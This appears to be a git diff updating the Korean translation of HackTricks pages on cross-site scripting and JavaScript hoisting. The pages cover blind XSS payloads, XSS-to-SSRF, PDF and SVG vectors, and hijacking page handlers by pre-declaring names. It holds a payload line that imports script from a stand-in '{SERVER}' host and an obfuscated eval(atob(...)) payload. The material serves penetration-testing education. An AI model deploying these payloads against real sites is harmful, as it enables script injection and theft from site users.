abusing-service-workers.md {{#endref}} -### 섀도우 DOM 접근 +### Shadow DOM 접근 {{#ref}} shadow-dom.md {{#endref}} -### 폴리글롯 +### Polyglots {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}} -### 블라인드 XSS 페이로드 +### Blind XSS payloads 다음도 사용할 수 있습니다: [https://xsshunter.com/](https://xsshunter.com) ```html @@ -1504,9 +1558,9 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln {{constructor.constructor("import('{SERVER}/script.js')")()}} ``` -### Regex - Access Hidden Content +### Regex - 숨겨진 콘텐츠에 접근 -[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서 알 수 있듯이, 일부 값이 JS에서 사라지더라도 여전히 다른 객체의 JS 속성에서 찾을 수 있습니다. 예를 들어, REGEX의 입력값이 제거된 후에도 REGEX의 입력값을 여전히 찾을 수 있습니다: +From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)을 통해 알 수 있듯이, 일부 값이 JS에서 사라지더라도 다른 객체의 JS 속성에서는 여전히 해당 값을 찾을 수 있다. 예를 들어 REGEX의 입력값이 제거된 이후에도 해당 입력값을 찾을 수 있다: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1523,44 +1577,43 @@ console.log( document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ) ``` -### Brute-Force List +### Brute-Force 목록 {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt {{#endref}} -## XSS 다른 취약점 악용하기 +## XSS: 다른 취약점 악용 ### Markdown에서의 XSS -렌더링될 Markdown 코드를 주입할 수 있나요? 아마도 XSS를 얻을 수 있을 것입니다! 확인해보세요: +렌더링되는 Markdown 코드를 주입할 수 있나요? 어쩌면 XSS를 얻을 수 있습니다! 확인: {{#ref}} xss-in-markdown.md {{#endref}} -### SSRF로의 XSS +### XSS to SSRF -**캐싱을 사용하는 사이트**에서 XSS를 얻었나요? 이 페이로드를 사용하여 **SSRF로 업그레이드해보세요**: +캐싱을 사용하는 **사이트**에서 XSS를 발견했나요? Edge Side Include Injection을 통해 이를 **SSRF로 업그레이드**해보세요. 다음 페이로드: ```python ``` -쿠키 제한, XSS 필터 등을 우회하는 데 사용하세요!\ -이 기술에 대한 더 많은 정보는 여기에서 확인하세요: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). +이것을 사용하면 쿠키 제한, XSS 필터 등을 우회하는 데 사용할 수 있습니다!\ +More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). ### 동적으로 생성된 PDF에서의 XSS -웹 페이지가 사용자 제어 입력을 사용하여 PDF를 생성하는 경우, PDF를 생성하는 **봇을 속여서** **임의의 JS 코드를 실행**하도록 시도할 수 있습니다.\ -따라서 **PDF 생성 봇이** 어떤 종류의 **HTML** **태그**를 찾으면, 이를 **해석**하게 되고, 이 동작을 **악용**하여 **서버 XSS**를 유발할 수 있습니다. +웹 페이지가 사용자 제어 입력을 사용해 PDF를 생성하는 경우, PDF를 만드는 **봇을 속여** 임의의 **JS 코드 실행**을 유도해볼 수 있습니다.\ 따라서, **PDF 생성 봇이 발견하면** 어떤 종류의 **HTML** **tags**를 발견하면 이를 **해석**하고, 이 동작을 **악용**하여 **Server XSS**를 일으킬 수 있습니다. {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} -HTML 태그를 주입할 수 없다면 **PDF 데이터 주입**을 시도해 볼 가치가 있을 수 있습니다: +HTML 태그를 주입할 수 없다면 **PDF 데이터 주입**을 시도해볼 가치가 있습니다: {{#ref}} @@ -1569,11 +1622,11 @@ pdf-injection.md ### Amp4Email에서의 XSS -AMP는 모바일 장치에서 웹 페이지 성능을 가속화하기 위해 HTML 태그와 JavaScript를 보완하여 기능성을 보장하며 속도와 보안에 중점을 둡니다. 다양한 기능을 위한 여러 구성 요소를 지원하며, [AMP 구성 요소](https://amp.dev/documentation/components/?format=websites)를 통해 접근할 수 있습니다. +AMP는 모바일 기기에서 웹 페이지 성능을 가속화하기 위해 설계되었으며, 속도와 보안을 중시하면서 기능을 제공하기 위해 JavaScript가 보완된 HTML 태그를 사용합니다. 다양한 기능을 위한 컴포넌트를 지원하며, [AMP components](https://amp.dev/documentation/components/?format=websites)에서 확인할 수 있습니다. -[**이메일용 AMP**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 형식은 특정 AMP 구성 요소를 이메일로 확장하여 수신자가 이메일 내에서 직접 콘텐츠와 상호작용할 수 있도록 합니다. +The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format extends specific AMP components to emails, enabling recipients to interact with content directly within their emails. -예시 [**Gmail의 Amp4Email에서 XSS 작성**](https://adico.me/post/xss-in-gmail-s-amp4email). +예시: [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). ### 파일 업로드에서의 XSS (svg) @@ -1633,10 +1686,11 @@ id="foo"/> ```xml ``` -더 많은 SVG 페이로드를 찾으려면 [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) 를 참조하세요. +더 많은 **SVG payloads를** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)에서 확인하세요 ## 기타 JS 트릭 및 관련 정보 + {{#ref}} other-js-tricks.md {{#endref}} @@ -1650,4 +1704,9 @@ other-js-tricks.md - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) - [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide) +## 참고 자료 + +- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html) +- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md index 3713cad66..3e489f555 100644 --- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md +++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md @@ -2,31 +2,31 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 기본 정보 -JavaScript 언어에서 **Hoisting**으로 알려진 메커니즘은 변수, 함수, 클래스 또는 임포트의 선언이 코드가 실행되기 전에 개념적으로 그 범위의 맨 위로 올라가는 과정을 설명합니다. 이 과정은 JavaScript 엔진에 의해 자동으로 수행되며, 스크립트를 여러 번 통과하면서 진행됩니다. +JavaScript 언어에서 **Hoisting**이라고 하는 메커니즘은 변수, 함수, 클래스 또는 import 선언이 코드 실행 전에 개념적으로 해당 스코프의 최상단으로 끌어올려지는 것으로 설명됩니다. 이 과정은 JavaScript 엔진에 의해 자동으로 수행되며, 엔진은 스크립트를 여러 패스로 처리합니다. -첫 번째 통과 동안, 엔진은 코드를 구문 오류를 확인하기 위해 파싱하고 이를 추상 구문 트리로 변환합니다. 이 단계에는 특정 선언이 실행 컨텍스트의 맨 위로 이동하는 호이스팅이 포함됩니다. 파싱 단계가 성공적으로 완료되면, 즉 구문 오류가 없음을 나타내면, 스크립트 실행이 진행됩니다. +첫 번째 패스 동안 엔진은 구문 오류를 확인하기 위해 코드를 파싱하고 이를 추상 문법 트리로 변환합니다. 이 단계에는 특정 선언이 실행 컨텍스트의 최상단으로 이동되는 hoisting 과정이 포함됩니다. 파싱 단계가 성공하여 구문 오류가 없으면 스크립트 실행이 진행됩니다. -이해하는 것이 중요합니다: +중요한 점은 다음과 같습니다: -1. 스크립트는 실행이 발생하기 위해 구문 오류가 없어야 합니다. 구문 규칙은 엄격하게 준수되어야 합니다. -2. 스크립트 내 코드의 배치가 호이스팅으로 인해 실행에 영향을 미치지만, 실행된 코드는 텍스트 표현과 다를 수 있습니다. +1. 스크립트는 실행되기 위해 구문 오류가 없어야 합니다. 구문 규칙을 엄격히 준수해야 합니다. +2. 코드의 위치는 hoisting 때문에 실행에 영향을 미치며, 실제로 실행되는 코드는 텍스트 상의 표현과 다를 수 있습니다. -#### Types of Hoisting +#### Hoisting의 유형 -MDN의 정보에 따르면, JavaScript에는 네 가지 뚜렷한 호이스팅 유형이 있습니다: +MDN의 정보에 따르면, JavaScript에는 네 가지의 뚜렷한 hoisting 유형이 있습니다: -1. **Value Hoisting**: 변수의 선언 라인 이전에 해당 변수의 값을 사용할 수 있게 합니다. -2. **Declaration Hoisting**: 변수의 선언 이전에 해당 변수를 참조할 수 있게 하며 `ReferenceError`를 발생시키지 않지만, 변수의 값은 `undefined`가 됩니다. -3. 이 유형은 실제 선언 라인 이전에 변수의 선언으로 인해 범위 내에서의 동작을 변경합니다. -4. 선언의 부작용은 그것을 포함하는 나머지 코드가 평가되기 전에 발생합니다. +1. **Value Hoisting**: 선언 줄 이전에 스코프 내에서 변수의 값을 사용할 수 있게 합니다. +2. **Declaration Hoisting**: 선언 줄 이전에 스코프 내에서 변수를 참조할 수 있게 하여 `ReferenceError`를 일으키지 않지만, 변수의 값은 `undefined`가 됩니다. +3. 이 유형은 실제 선언 줄 이전에 변수가 선언되는 것 때문에 스코프 내 동작을 변경합니다. +4. 선언의 부수 효과가 해당 선언을 포함하는 나머지 코드가 평가되기 전에 발생합니다. -자세히 설명하자면, 함수 선언은 유형 1 호이스팅 동작을 나타냅니다. `var` 키워드는 유형 2 동작을 보여줍니다. `let`, `const`, 및 `class`를 포함하는 렉시컬 선언은 유형 3 동작을 나타냅니다. 마지막으로, `import` 문은 유형 1 및 유형 4 동작으로 호이스팅되는 독특한 특성을 가지고 있습니다. +자세히 보면, 함수 선언은 type 1 hoisting 동작을 보입니다. `var` 키워드는 type 2 동작을 나타냅니다. `let`, `const`, 그리고 `class`를 포함하는 lexical 선언은 type 3 동작을 보입니다. 마지막으로, `import` 문은 type 1과 type 4 동작을 모두 가지며 독특합니다. -## Scenarios +## 시나리오 -따라서 **선언되지 않은 객체**가 사용된 후 **JS 코드를 주입할 수 있는 시나리오**가 있다면, 이를 선언하여 **구문을 수정**할 수 있습니다(그래야 오류를 발생시키는 대신 코드가 실행됩니다): +따라서 선언되지 않은 객체가 사용된 이후에 **Inject JS code after an undeclared object** 할 수 있는 시나리오가 있다면, 해당 객체를 선언하여 문법을 **fix the syntax** 함으로써 (에러를 발생시키는 대신) 당신의 코드가 실행되게 할 수 있습니다: ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); @@ -68,7 +68,7 @@ alert(1); test.cookie("leo", "INJECTION") test[("cookie", "injection")] ``` -## 더 많은 시나리오 +## 추가 시나리오 ```javascript // Undeclared var accessing to an undeclared method x.y(1,INJECTION) @@ -127,11 +127,31 @@ alert(1) - }, }) } +trigger() ``` -## 참고문헌 +### const로 이름을 고정해 이후 선언을 선제적으로 차단하기 + +최상위의 `function foo(){...}`이 파싱되기 전에 코드를 실행할 수 있다면, 같은 이름으로 렉시컬 바인딩(예: `const foo = ...`)을 선언하면 이후의 function 선언이 해당 식별자를 다시 바인딩하는 것을 막을 수 있습니다. 이 방법은 페이지에서 나중에 정의되는 중요한 핸들러를 탈취하기 위해 RXSS에서 악용될 수 있습니다: +```javascript +// Malicious code runs first (e.g., earlier inline